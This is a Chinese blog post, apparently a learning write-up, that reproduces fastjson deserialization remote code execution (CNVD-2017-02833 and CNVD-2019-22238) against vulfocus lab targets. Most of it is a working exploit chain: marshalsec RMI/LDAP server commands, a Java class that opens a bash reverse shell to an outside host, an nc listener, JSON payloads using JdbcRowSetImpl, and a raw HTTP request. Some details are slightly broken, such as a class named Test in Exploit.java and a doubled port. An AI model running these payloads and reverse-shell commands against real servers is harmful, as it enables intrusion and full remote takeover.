fastjson
远程命令执行漏洞
学习过程,大佬勿喷!谢谢!
fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式。它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令执行漏洞,攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。
版本
fastjson 1.2.24 CNVD-2017-02833
fastjson 1.2.47 CNVD-2019-22238
利用过程
rmi/ldap
→
http
→
反弹
shell
![](https://img-blog.csdnimg.cn/a4b2e145e4de42eeb2960900a2f8ed0e.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6bm_5YWI55Sf5ZGA,size_20,color_FFFFFF,t_70,g_se,x_16)
思路:
通过rmi或者ldap服务远程加载代码,执行命令,反弹至本机,其中,远程加载代码需要用到http服务。
复现环境
1、靶机环境A:http://vulfocus.fofa.so/启动(名称: vulfocus/fastjson-cnvd_2019_22238:latest)和(vulfocus/fastjson-cnvd_2017_02833:latest)
2、vps服务器B:腾讯云服务器11.*.*.2 (服务器B为rmi服务器,也为http服务器、监听端口接收反弹shell,注意云服务器检查防火墙端口)
3、攻击环境C:本地windows10
准备工作
1、准备rmi/idap服务远程加载class文件
2、编译可执行的class文件
3、本机开启http服务,为rmi/idap服务下载class文件提前做好准备
4、开启监听端口
部署rmi/idap服务
通过marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类Exploit.class。
1、git clone https://github.com/mbechler/marshalsec #下载marshalsec项目
2、cd marshalsec #进入marshalsec目录
3、mvn clean package -DskipTests
#通过mvn打包项目(提示:没有安装mvn需要apt安装),这个过程会生成一个targetw文件夹,找到marshalsec-0.0.3-SNAPSHOT-all.jar文件
编译可执行class文件
1、编写java代码Exploit.java文件,内容如下:
import java.lang.Runtime;
import java.lang.Process;
public class Test {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.0.102/7777
0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
2、编译Exploit.java文件成Exploit.class,操作如下:
javac Exploit.java
#同目录会生成一个Exploit.class文件.
开启http服务
python2 -m SimpleHTTPServer 8888
开启监听端口
nc -lvvp 7777
开始验证漏洞操作
主机B 开启rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://11.*.*.2:8888/#Exploit" 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://11.*.*.2此处为HTTP服务/#Exploit" 此处为rmi服务
或
主机B 开启ldap服务主机。命令如下:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://11.*.*.2:8888/#Exploit 9999
POC为
名称: vulfocus/fastjson-cnvd_2019_22238:latest,POC如下:
{
"b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://101.43.75.159:9999/Exploit", "autoCommit":true } }
名称:vulfocus/fastjson-cnvd_2017_02833:latest,POC如下:
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://101.43.75.159:9999:9999/Exploitt", "autoCommit":true }
抓包分析和验证
修改get请求为post请求
POST / HTTP/1.1
Host: vulfocus.fofa.so:20457
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: close
Content-Length: 199
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://11.*。*。2:9999/Exploitt", "autoCommit":true }
操作过程如下截图:
1、开启HTTP服务准备class文件,开启监听端口等待shell,开启rmi服务
![](https://img-blog.csdnimg.cn/de8007ad36f4469c855d6f72e21f3b38.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6bm_5YWI55Sf5ZGA,size_20,color_FFFFFF,t_70,g_se,x_16)
![](https://img-blog.csdnimg.cn/c7565ff63f324d21bbe5e78f667787c1.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6bm_5YWI55Sf5ZGA,size_20,color_FFFFFF,t_70,g_se,x_16)
![](https://img-blog.csdnimg.cn/85b673287e274223a21d1ef0a964e418.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6bm_5YWI55Sf5ZGA,size_20,color_FFFFFF,t_70,g_se,x_16)
2、开启靶场镜像环境
![](https://img-blog.csdnimg.cn/821bd833a0eb402c9fd269b7f193d9f5.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6bm_5YWI55Sf5ZGA,size_20,color_FFFFFF,t_70,g_se,x_16)
3、抓包,修改get为post,执行poc,等待。。。
![](https://img-blog.csdnimg.cn/058f85ae3a454a8a9d51296320adee53.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6bm_5YWI55Sf5ZGA,size_20,color_FFFFFF,t_70,g_se,x_16)
4、监听端口接收shell
![](https://img-blog.csdnimg.cn/ecd70d35219f4d75aa99bc91d49fe047.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6bm_5YWI55Sf5ZGA,size_20,color_FFFFFF,t_70,g_se,x_16)
5、获取flag。收工
![](https://img-blog.csdnimg.cn/e00741a4d04e4318921297a139a768b2.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA6bm_5YWI55Sf5ZGA,size_20,color_FFFFFF,t_70,g_se,x_16)
(郑重声明:以下内容仅供学习交流,如有用于其他非法操作,与本人无关。)